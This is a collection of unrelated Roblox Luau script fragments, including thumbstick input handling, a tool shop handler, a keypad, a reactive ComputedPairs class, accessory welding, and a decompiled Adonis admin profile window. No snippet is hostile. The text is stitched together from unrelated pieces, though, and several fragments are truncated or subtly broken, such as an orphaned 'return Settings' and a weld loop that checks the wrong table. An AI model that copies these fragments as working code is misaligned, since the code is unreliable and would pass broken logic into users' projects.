---------------------------------- -----------CONNECTIONS------------ ----------------------------------
HumanoidChangedConnection = nil HumanoidDiedConnection = nil function MakeHumanoidConnections() local character = Player.Character if character then local humanoid = character:FindFirstChild("Humanoid") if humanoid then HumanoidChangedConnection = humanoid.Changed:connect(function(property) HumanoidChanged(humanoid, property) end) HumanoidDiedConnection = humanoid.Died:connect(HumanoidDied) end end end function BreakHumanoidConnections() HumanoidChangedConnection:disconnect() HumanoidDiedConnection:disconnect() end
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump -- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping() local wasJumping = self.isJumping self.isJumping = false return wasJumping end function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean? if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end self:BindContextActions() else if FFlagUserDynamicThumbstickMoveOverButtons then self:UnbindContextActions() else ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME) end -- Disable self:OnInputEnded() -- Cleanup end self.enabled = enable self.thumbstickFrame.Visible = enable return nil end
--[[ Returns all objects that cause the filter function to return true. ]]
function Registry:getFiltered(filter) local output = {} for key, object in pairs(self.objects) do if filter(object, key) then output[key] = object end end return output end
--GreenEgg--
Event.Hitbox.Touched:Connect(function(hit) if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired then if game.ReplicatedStorage.ItemSwitching.Value == true then hit.Parent:Destroy() end Event.LocksLeft.Value = Event.LocksLeft.Value - 1 Event.Robot.Transparency = 0 Event.TeleportEffectPad.Insert:Play() Event.Hitbox.RobotHint:Destroy() script.Disabled = true end end) Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr) if plr.Backpack:FindFirstChild(ToolRequired) then if game.ReplicatedStorage.ItemSwitching.Value == true then plr.Backpack:FindFirstChild(ToolRequired):Destroy() end Event.LocksLeft.Value = Event.LocksLeft.Value - 1 Event.Robot.Transparency = 0 Event.TeleportEffectPad.Insert:Play() Event.Hitbox.RobotHint:Destroy() script.Disabled = true end end)
--local roPrompts = require(game.ReplicatedStorage.roPrompts)
ReplicatedStorage.BuyEvent.OnServerEvent:Connect(function(player, toolname) --local prompt = roPrompts.New({ -- Type = roPrompts.PromptType.Confirm, -- Title = 'Confirm Purchase', -- Description = 'Are you sure you would like to buy this tool?', -- PrimaryButton = 'Confirm', -- SecondaryButton = 'Cancel' --}) --roPrompts:PromptPlayer(player, prompt) --if roPrompts:PromptPlayer(player, prompt) then local Setting = ToolSettings[toolname] if not Setting then return end local Price = (player.MembershipType == Premium and Setting.PremiumPrice) or Setting.Price local Cash = player.leaderstats.Cash local Backpack = player:WaitForChild("Backpack") if Cash.Value >= Price then Cash.Value -= Price Setting.Tool:Clone().Parent = Backpack end --end end)
--// SS Controls - remastered for 4/2020. it's been long enough
wait(.5) local player = game.Players.LocalPlayer local HB = script.Parent.HB local HUB = HB.HUB local radio = HB.Radio local Camera = game.Workspace.CurrentCamera local cam = script.Parent.nxtcam.Value local carSeat = script.Parent.CarSeat.Value local mouse = game.Players.LocalPlayer:GetMouse() local windows = false local handler = carSeat:WaitForChild('Filter') local ts = game:GetService("TweenService") local ctrl = false local dd = false local mph = (10/12) * (60/88) local stt = 0 local st = false local mode = 0
--// Positioning
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08); LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098); GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08); } return Settings
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; Routine = nil; local function u1(p1) if p1 then return "Yes"; end; return "No"; end; return function(p2) local l__Service__1 = client.Service; local l__Target__2 = p2.Target; local v3 = client.UI.Make("Window", { Name = "Profile_" .. l__Target__2.UserId, Title = "Profile (@" .. l__Target__2.Name .. ")", Icon = client.MatIcons["Account circle"], Size = { 400, 400 }, AllowMultiple = false }); local v4 = v3:Add("TabFrame", { Size = UDim2.new(1, -10, 1, -10), Position = UDim2.new(0, 5, 0, 5) }); local v5 = v4:NewTab("General", { Text = "General" }); local v6 = v4:NewTab("Friends", { Text = "Friends" }); local v7 = v4:NewTab("Groups", { Text = "Groups" }); local v8 = v4:NewTab("Game", { Text = "Game" }); local v9 = l__Target__2:IsFriendsWith(l__Service__1.Players.LocalPlayer.UserId); if l__Target__2 ~= l__Service__1.Players.LocalPlayer then local v10 = { Text = "" }; if v9 then local v11 = "Unfriend"; else v11 = "Add friend"; end; v10.ToolTip = v11; if v9 then local v12 = function() l__Service__1.StarterGui:SetCore("PromptUnfriend", l__Target__2); end; if not v12 then v12 = function() l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2); end; end; else v12 = function() l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2); end; end; v10.OnClick = v12; v3:AddTitleButton(v10):Add("ImageLabel", { Size = UDim2.new(0, 20, 0, 20), Position = UDim2.new(0, 5, 0, 0), Image = v9 and client.MatIcons["Person remove"] or client.MatIcons["Person add"], BackgroundTransparency = 1 }); end; local v13 = { Text = "", ToolTip = "View avatar" }; function v13.OnClick() l__Service__1.GuiService:InspectPlayerFromUserId(l__Target__2.UserId); end; v3:AddTitleButton(v13):Add("ImageLabel", { Size = UDim2.new(0, 18, 0, 18), Position = UDim2.new(0, 6, 0, 1), Image = client.MatIcons["Person search"], BackgroundTransparency = 1 }); v5:Add("ImageLabel", { Size = UDim2.new(0, 120, 0, 120), Position = UDim2.new(0, 5, 0, 5), Image = l__Service__1.Players:GetUserThumbnailAsync(l__Target__2.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size150x150) }); for v14, v15 in ipairs({ { "Display Name", l__Target__2.DisplayName, "The player's custom display name" }, { "Username", l__Target__2.Name, "The player's unique Roblox username" }, { "User ID", l__Target__2.UserId, "The player's unique Roblox user ID" }, { "Acc. Age", l__Target__2.AccountAge .. " days (" .. string.format("%.2f", l__Target__2.AccountAge / 365) .. " years)", "How long the player has been registered on Roblox" } }) do local v16 = { Text = " " .. v15[1] .. ": ", ToolTip = v15[3] }; if v14 % 2 == 0 then local v17 = 0; else v17 = 0.2; end; v16.BackgroundTransparency = v17; v16.Size = UDim2.new(1, -135, 0, 30); v16.Position = UDim2.new(0, 130, 0, 30 * (v14 - 1) + 5); v16.TextXAlignment = "Left"; v5:Add("TextLabel", v16):Add("TextLabel", { Text = v15[2], BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -130, 0, 0), TextXAlignment = "Right" }); end; for v18, v19 in ipairs({ { "Membership", l__Target__2.MembershipType.Name, "The player's Roblox membership type (Premium)" }, { "Safe Chat Enabled", p2.SafeChat, "Does the player have safe chat applied?" }, { "Can Chat", p2.CanChatGet[1] and u1(p2.CanChatGet[2]) or "[Error]", "Does the player's account settings allow them to chat?" } }) do local v20 = { Text = " " .. v19[1] .. ": ", ToolTip = v19[3] }; if v18 % 2 == 0 then local v21 = 0; else v21 = 0.2; end; v20.BackgroundTransparency = v21; v20.Size = UDim2.new(1, -10, 0, 30); v20.Position = UDim2.new(0, 5, 0, 30 * (v18 - 1) + 130); v20.TextXAlignment = "Left"; v5:Add("TextLabel", v20):Add("TextLabel", { Text = v19[2], BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -130, 0, 0), TextXAlignment = "Right" }); end; local v22 = 0; local v23 = {}; local v24 = {}; local v25 = true; if l__Target__2.UserId ~= 1237666 then v25 = l__Target__2.UserId == 698712377; end; v24[1] = v25; v24[2] = "Adonis Creator [Sceleratis/Davey_Bones]"; v24[3] = "rbxassetid://6878433601"; v24[4] = "You're looking at the creator of the Adonis admin system!"; v23[1] = { p2.IsServerOwner, "Private Server Owner", client.MatIcons.Grade, "User owns the current private server" }; v23[2] = { p2.IsDonor, "Adonis Donor", "rbxassetid://6877822142", "User has purchased the Adonis donation pass/shirt" }; v23[3] = { l__Target__2:GetRankInGroup(886423) == 10, "Adonis Contributor (GitHub)", "rbxassetid://6878433601", "User has contributed to the Adonis admin system (see credit list)" }; v23[4] = { l__Target__2:GetRankInGroup(886423) >= 12, "Adonis Developer", "rbxassetid://6878433601", "User is an official developer of the Adonis admin system" }; v23[5] = v24; v23[6] = { l__Target__2:IsInGroup(1200769) or l__Target__2:IsInGroup(2868472), "ROBLOX Staff", "rbxassetid://6811962259", "User is an official Roblox employee (!)" }; v23[7] = { l__Target__2:IsInGroup(3514227), "DevForum Member", "rbxassetid://6383940476", "User is a member of the Roblox Developer Forum" }; for v26, v27 in ipairs(v23) do if v27[1] then v5:Add("TextLabel", { Size = UDim2.new(1, -10, 0, 30), Position = UDim2.new(0, 5, 0, 32 * v22 + 225), BackgroundTransparency = 0.4, Text = v27[2], ToolTip = v27[4] }):Add("ImageLabel", { Image = v27[3], BackgroundTransparency = 1, Size = UDim2.new(0, 24, 0, 24), Position = UDim2.new(0, 4, 0, 3) }); v22 = v22 + 1; end; end; v5:ResizeCanvas(false, true, false, false, 5, 5); v3:Ready(); local u2 = function(p3) return coroutine.wrap(function() local v28 = 1; while true do for v29, v30 in ipairs(p3:GetCurrentPage()) do coroutine.yield(v30, v28); end; if p3.IsFinished then break; end; p3:AdvanceToNextPageAsync(); v28 = v28 + 1; end; end); end; local u3 = l__Service__1.Players:GetFriendsAsync(l__Target__2.UserId); local u4 = {}; local u5 = {}; local u6 = 0; local u7 = 0; local l__client__8 = client; local l__Routine__9 = Routine; Routine(function() for v31, v32 in u2(u3) do table.insert(u4, v31.Username); u5[v31.Username] = { id = v31.Id, displayName = v31.DisplayName, isOnline = v31.IsOnline }; if v31.IsOnline then u6 = u6 + 1; end; u7 = u7 + 1; end; table.sort(u4); local v33 = v6:Add("TextBox", { Size = UDim2.new(1, -10, 0, 25), Position = UDim2.new(0, 5, 0, 5), BackgroundTransparency = 0.5, PlaceholderText = ("Search %d friends (%d online)"):format(u7, u6), Text = "", TextStrokeTransparency = 0.8 }); v33:Add("ImageLabel", { Image = l__client__8.MatIcons.Search, Position = UDim2.new(1, -21, 0, 3), Size = UDim2.new(0, 18, 0, 18), ImageTransparency = 0.2, BackgroundTransparency = 1 }); local u10 = v6:Add("ScrollingFrame", { List = {}, ScrollBarThickness = 2, BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 35), Size = UDim2.new(1, -10, 1, -40) }); local function v34() u10:ClearAllChildren(); local v35 = 1; for v36, v37 in ipairs(u4) do local v38 = u5[v37]; if v37:sub(1, #v33.Text):lower() == v33.Text:lower() or v38.displayName:sub(1, #v33.Text):lower() == v33.Text:lower() then if v37 == v38.displayName then local v39 = v37; else v39 = v38.displayName .. " (@" .. v37 .. ")"; end; local v40 = { Text = " " .. v39, ToolTip = "User ID: " .. v38.id }; if (v35 - 1) % 2 == 0 then local v41 = 0; else v41 = 0.2; end; v40.BackgroundTransparency = v41; v40.Size = UDim2.new(1, 0, 0, 30); v40.Position = UDim2.new(0, 0, 0, 30 * (v35 - 1)); v40.TextXAlignment = "Left"; local v42 = u10:Add("TextLabel", v40); if v38.isOnline then v42:Add("TextLabel", { Text = "Online", BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -130, 0, 0), TextXAlignment = "Right" }); end; l__Routine__9(function() v42:Add("ImageLabel", { Image = l__Service__1.Players:GetUserThumbnailAsync(v38.id, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48), BackgroundTransparency = 1, Size = UDim2.new(0, 30, 0, 30), Position = UDim2.new(0, 0, 0, 0) }); end); v35 = v35 + 1; end; end; u10:ResizeCanvas(false, true, false, false, 5, 5); end; v33:GetPropertyChangedSignal("Text"):Connect(v34); v34(); end); u2 = {}; u3 = {}; u4 = 0; u5 = 0; for v43, v44 in pairs(l__Service__1.GroupService:GetGroupsAsync(l__Target__2.UserId) or {}) do l__Routine__9(l__Service__1.ContentProvider.PreloadAsync, l__Service__1.ContentProvider, { v44.EmblemUrl }); table.insert(u2, v44.Name); u3[v44.Name] = v44; u4 = u4 + 1; if v44.Rank == 255 then u5 = u5 + 1; end; end; table.sort(u2); local v45 = { Size = UDim2.new(1, -10, 0, 25), Position = UDim2.new(0, 5, 0, 5), BackgroundTransparency = 0.5 }; if u4 ~= 1 then local v46 = "s"; else v46 = ""; end; v45.PlaceholderText = ("Search %d group%s (%d owned)"):format(u4, v46, u5); v45.Text = ""; v45.TextStrokeTransparency = 0.8; local v47 = v7:Add("TextBox", v45); v47:Add("ImageLabel", { Image = l__client__8.MatIcons.Search, Position = UDim2.new(1, -21, 0, 3), Size = UDim2.new(0, 18, 0, 18), ImageTransparency = 0.2, BackgroundTransparency = 1 }); local u11 = v7:Add("ScrollingFrame", { List = {}, ScrollBarThickness = 2, BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 35), Size = UDim2.new(1, -10, 1, -40) }); local u12 = v47; local function v48() u11:ClearAllChildren(); local v49 = 1; for v50, v51 in ipairs(u2) do local v52 = u3[v51]; if v51:sub(1, #u12.Text):lower() == u12.Text:lower() or v52.Role:sub(1, #u12.Text):lower() == u12.Text:lower() then local v53 = nil; local v54 = { Text = "" }; if v52.IsPrimary then local v55 = "Primary Group | "; else v55 = ""; end; if v52.Rank == 255 then local v56 = " (Owner)"; else v56 = ""; end; v54.ToolTip = string.format("%sID: %d | Rank: %d%s", v55, v52.Id, v52.Rank, v56); if (v49 - 1) % 2 == 0 then local v57 = 0; else v57 = 0.2; end; v54.BackgroundTransparency = v57; v54.Size = UDim2.new(1, -10, 0, 30); v54.Position = UDim2.new(0, 5, 0, 30 * (v49 - 1)); v54.TextXAlignment = "Left"; local v58 = u11:Add("TextLabel", v54); v53 = v58:Add("TextLabel", { Text = v51, BackgroundTransparency = 1, Size = UDim2.new(1, -50 - v58:Add("TextLabel", { Text = v52.Role, BackgroundTransparency = 1, Size = UDim2.new(0, 0, 1, 0), Position = UDim2.new(1, -10, 0, 0), ClipsDescendants = false, TextXAlignment = "Right" }).TextBounds.X, 1, 0), Position = UDim2.new(0, 36, 0, 0), TextXAlignment = "Left", TextTruncate = "AtEnd" }); if v52.IsPrimary then v53.TextColor3 = Color3.new(0.666667, 1, 1); elseif v52.Rank >= 255 then v53.TextColor3 = Color3.new(1, 1, 0.5); end; l__Routine__9(function() v58:Add("ImageLabel", { Image = v52.EmblemUrl, BackgroundTransparency = 1, Size = UDim2.new(0, 30, 0, 30), Position = UDim2.new(0, 0, 0, 0) }); end); v49 = v49 + 1; end; end; u11:ResizeCanvas(false, true, false, false, 5, 5); end; u12:GetPropertyChangedSignal("Text"):Connect(v48); v48(); u2 = p2.GameData; if not u2 then u3 = v8; u2 = v8.Disable; u2(u3); return; end; u2 = {}; u3 = {}; u4 = "Admin Level"; u12 = p2.GameData; u5 = u12.AdminLevel; u12 = "The player's Adonis rank"; u3[1] = u4; u3[2] = u5; u3[3] = u12; u4 = {}; u5 = "Muted"; u12 = u1; u11 = p2.GameData.IsMuted; u12 = u12(u11); u11 = "Is the player muted? (IGNORES TRELLO MUTELIST)"; u4[1] = u5; u4[2] = u12; u4[3] = u11; u5 = {}; u12 = "Auto Jump Enabled"; u11 = u1; u11 = u11(l__Target__2.AutoJumpEnabled); u5[1] = u12; u5[2] = u11; u5[3] = "Does the player have auto jump enabled?"; u12 = {}; u11 = "Camera Max Zoom Distance"; u12[1] = u11; u12[2] = l__Target__2.CameraMaxZoomDistance; u12[3] = "How far in studs the player can zoom out their camera"; u11 = { "Camera Min Zoom Distance", l__Target__2.CameraMinZoomDistance, "How close in studs the player can zoom in their camera" }; u2[1] = u3; u2[2] = u4; u2[3] = u5; u2[4] = u12; u2[5] = u11; u2[6] = { "Accelerometer Enabled", u1(p2.GameData.AccelerometerEnabled), "Whether the user\226\128\153s device has an accelerometer" }; u2[7] = { "Gamepad Enabled", u1(p2.GameData.GamepadEnabled), "Whether the user's device has an available gamepad" }; u2[8] = { "Gyroscope Enabled", u1(p2.GameData.GyroscopeEnabled), "Whether the user\226\128\153s device has a gyroscope" }; u2[9] = { "Keyboard Enabled", u1(p2.GameData.KeyboardEnabled), "Whether the user\226\128\153s device has a keyboard available" }; u2[10] = { "Mouse Delta Sensitivity", p2.GameData.MouseDeltaSensitivity, "The scale of the delta (change) output of the user\226\128\153s Mouse" }; u2[11] = { "Mouse Enabled", u1(p2.GameData.MouseEnabled), "Whether the user\226\128\153s device has a mouse available" }; u2[12] = { "Touch Enabled", u1(p2.GameData.TouchEnabled), "Whether the user\226\128\153s current device has a touch-screen available" }; u2[13] = { "VR Enabled", u1(p2.GameData.VREnabled), "Whether the user is using a virtual reality headset" }; u2[14] = { "Source Place ID", p2.GameData.SourcePlaceId, "The ID of the place from which the player was teleported to this game, if applicable" }; u3 = 1; u4 = ipairs; u5 = u2; u4, u5, u12 = u4(u5); while true do u11 = u4; u11, v59 = u11(u5, u12); if not u11 then break; end; u12 = u11; local v60 = { Text = " " .. v59[1] .. ": ", ToolTip = v59[3] }; if u3 % 2 == 0 then local v61 = 0; else v61 = 0.2; end; v60.BackgroundTransparency = v61; v60.Size = UDim2.new(1, -10, 0, 25); v60.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 5); v60.TextXAlignment = "Left"; local v62 = v8:Add("TextLabel", v60):Add("TextLabel", { Text = v59[2], BackgroundTransparency = 1, Size = UDim2.new(0, 120, 1, 0), Position = UDim2.new(1, -130, 0, 0), TextXAlignment = "Right" }); u3 = u3 + 1; end; u12 = "TextButton"; u11 = { Text = "View Tools", ToolTip = string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name) }; if u3 % 2 == 0 then local v63 = 0; else v63 = 0.2; end; u11.BackgroundTransparency = v63; u11.Size = UDim2.new(1, -10, 0, 30); u11.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 10); function u11.OnClicked(p4) if p4.Active then p4.Active = false; p4.AutoButtonColor = false; l__client__8.Remote.Send("ProcessCommand", string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name)); wait(2); p4.AutoButtonColor = true; p4.Active = true; end; end; u5 = v8; u4 = v8.Add; u4(u5, u12, u11); u12 = false; u11 = true; u5 = v8; u4 = v8.ResizeCanvas; u4(u5, u12, u11, false, false, 5, 5); end;
--[[ Called when the original table is changed. This will firstly find any keys meeting any of the following criteria: - they were not previously present - their associated value has changed - a dependency used during generation of this value has changed It will recalculate those key/value pairs, storing information about any dependencies used in the processor callback during value generation, and save the new value to the output array. If it is overwriting an older value, that older value will be passed to the destructor for cleanup. Finally, this function will find keys that are no longer present, and remove their values from the output table and pass them to the destructor. ]]
function class:update() local inputIsState = self._inputIsState local oldInput = self._oldInputTable local newInput = self._inputTable local oldOutput = self._oldOutputTable local newOutput = self._outputTable if inputIsState then newInput = newInput:get(false) end local didChange = false -- clean out main dependency set for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = nil end self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet table.clear(self.dependencySet) -- if the input table is a state object, add as dependency if inputIsState then self._inputTable.dependentSet[self] = true self.dependencySet[self._inputTable] = true end -- STEP 1: find keys that changed value or were not previously present for key, newInValue in pairs(newInput) do -- get or create key data local keyData = self._keyData[key] if keyData == nil then keyData = { -- we don't need strong references here - the main set does that -- for us, so let's not introduce unnecessary leak opportunities dependencySet = setmetatable({}, WEAK_KEYS_METATABLE), oldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE), dependencyValues = setmetatable({}, WEAK_KEYS_METATABLE) } self._keyData[key] = keyData end -- if this value is either new or different, we should recalculate it local shouldRecalculate = oldInput[key] ~= newInValue if not shouldRecalculate then -- check if dependencies have changed for dependency, oldValue in pairs(keyData.dependencyValues) do -- if the dependency changed value, then this needs recalculating if oldValue ~= dependency:get(false) then shouldRecalculate = true break end end end -- if we should recalculate the value by this point, do that if shouldRecalculate then keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet table.clear(keyData.dependencySet) local oldOutValue = oldOutput[key] local processOK, newOutValue = captureDependencies(keyData.dependencySet, self._processor, key, newInValue) if processOK then -- if the calculated value has changed if oldOutValue ~= newOutValue then didChange = true -- clean up the old calculated value if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor, parseError, oldOutValue) if not destructOK then logErrorNonFatal("pairsDestructorError", err) end end end -- make the old input match the new input oldInput[key] = newInValue -- store the new output value for next time we run the output comparison oldOutput[key] = newOutValue -- store the new output value in the table we give to the user newOutput[key] = newOutValue else -- restore old dependencies, because the new dependencies may be corrupt keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet logErrorNonFatal("pairsProcessorError", newOutValue) end end -- save dependency values and add to main dependency set for dependency in pairs(keyData.dependencySet) do keyData.dependencyValues[dependency] = dependency:get(false) self.dependencySet[dependency] = true dependency.dependentSet[self] = true end end -- STEP 2: find keys that were removed for key in pairs(oldInput) do -- if this key doesn't have an equivalent in the new input table if newInput[key] == nil then -- clean up the old calculated value local oldOutValue = oldOutput[key] if oldOutValue ~= nil then local destructOK, err = xpcall(self._destructor, parseError, oldOutValue) if not destructOK then logErrorNonFatal("pairsDestructorError", err) end end -- make the old input match the new input oldInput[key] = nil -- remove the reference to the old output value oldOutput[key] = nil -- remove the value from the table we give to the user newOutput[key] = nil -- remove key data self._keyData[key] = nil end end return didChange end local function ComputedPairs( inputTable: Types.StateOrValue<{[any]: any}>, processor: (any) -> any, destructor: (any) -> ()? ) -- if destructor function is not defined, use the default cleanup function if destructor == nil then destructor = cleanup end local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function" local self = setmetatable({ type = "State", kind = "ComputedPairs", dependencySet = {}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, WEAK_KEYS_METATABLE), _oldDependencySet = {}, _processor = processor, _destructor = destructor, _inputIsState = inputIsState, _inputTable = inputTable, _oldInputTable = {}, _outputTable = {}, _oldOutputTable = {}, _keyData = {} }, CLASS_METATABLE) initDependency(self) self:update() return self end return ComputedPairs
------------------------------------------ --Digets
function Click0() Input = Input..0 print("0") script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2767674" wait(0.1) script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2761903" end script.Parent.B0.ClickDetector.MouseClick:connect(Click0) function Click1() Input = Input..1 print("1") script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2767677" wait(0.1) script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2761913" end script.Parent.B1.ClickDetector.MouseClick:connect(Click1) function Click2() Input = Input..2 print("2") script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2767680" wait(0.1) script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2761922" end script.Parent.B2.ClickDetector.MouseClick:connect(Click2) function Click3() Input = Input..3 print("3") script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2767686" wait(0.1) script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2761927" end script.Parent.B3.ClickDetector.MouseClick:connect(Click3) function Click4() Input = Input..4 print("4") script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2767693" wait(0.1) script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2761938" end script.Parent.B4.ClickDetector.MouseClick:connect(Click4) function Click5() Input = Input..5 print("5") script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2767695" wait(0.1) script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2761943" end script.Parent.B5.ClickDetector.MouseClick:connect(Click5) function Click6() Input = Input..6 print("6") script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2767699" wait(0.1) script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2761948" end script.Parent.B6.ClickDetector.MouseClick:connect(Click6) function Click7() Input = Input..7 print("7") script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2767701" wait(0.1) script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2761956" end script.Parent.B7.ClickDetector.MouseClick:connect(Click7) function Click8() Input = Input..8 print("8") script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2767707" wait(0.1) script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2761961" end script.Parent.B8.ClickDetector.MouseClick:connect(Click8) function Click9() Input = Input..9 print("9") script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2767714" wait(0.1) script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2761971" end script.Parent.B9.ClickDetector.MouseClick:connect(Click9)
-- Determine whether we're in tool or plugin mode
if Tool:IsA 'Tool' then ToolMode = 'Tool'; elseif Tool:IsA 'Model' then ToolMode = 'Plugin'; end;
-- I have seen this script so many times in many free models that -- I don't know who made this in the first place, I just modified -- some parts of the script to serve my purposes.
function onClicked(hit) print(hit.Name) print(hit.Parent.Name) if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Chest") == nil then local g = script.Parent.Parent.Chest:clone() g.Parent = hit.Character local C = g:GetChildren() for i=1, #C do if C[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Character.Torso Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do if h[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then h[i].Anchored = false h[i].CanCollide = false end end end if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Headgear") == nil then local g = script.Parent.Parent.Headgear:clone() g.Parent = hit.Character local C = g:GetChildren() for i=1, #C do if C[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle end local Y = Instance.new("Weld") Y.Part0 = hit.Parent.Head Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do if h[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then h[i].Anchored = false h[i].CanCollide = false end end end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- This function should handle all controller enabling and disabling without relying on -- ControlModule:Enable() and Disable()
function ControlModule:SwitchToController(controlModule) -- controlModule is invalid, just disable current controller if not controlModule then if self.activeController then self.activeController:Enable(false) end self.activeController = nil self.activeControlModule = nil return end -- first time switching to this control module, should instantiate it if not self.controllers[controlModule] then self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY) end -- switch to the new controlModule if self.activeController ~= self.controllers[controlModule] then if self.activeController then self.activeController:Enable(false) end self.activeController = self.controllers[controlModule] self.activeControlModule = controlModule -- Only used to check if controller switch is necessary if self.touchControlFrame and (self.activeControlModule == ClickToMove or self.activeControlModule == TouchThumbstick or self.activeControlModule == DynamicThumbstick) then if not self.controllers[TouchJump] then self.controllers[TouchJump] = TouchJump.new() end self.touchJumpController = self.controllers[TouchJump] self.touchJumpController:Enable(true, self.touchControlFrame) else if self.touchJumpController then self.touchJumpController:Enable(false) end end self:UpdateActiveControlModuleEnabled() end end function ControlModule:OnLastInputTypeChanged(newLastInputType) if lastInputType == newLastInputType then warn("LastInputType Change listener called with current type.") end lastInputType = newLastInputType if lastInputType == Enum.UserInputType.Touch then -- TODO: Check if touch module already active local touchModule, success = self:SelectTouchModule() if success then while not self.touchControlFrame do wait() end self:SwitchToController(touchModule) end elseif computerInputTypeToModuleMap[lastInputType] ~= nil then local computerModule = self:SelectComputerMovementModule() if computerModule then self:SwitchToController(computerModule) end end self:UpdateTouchGuiVisibility() end
--//Arms\\--
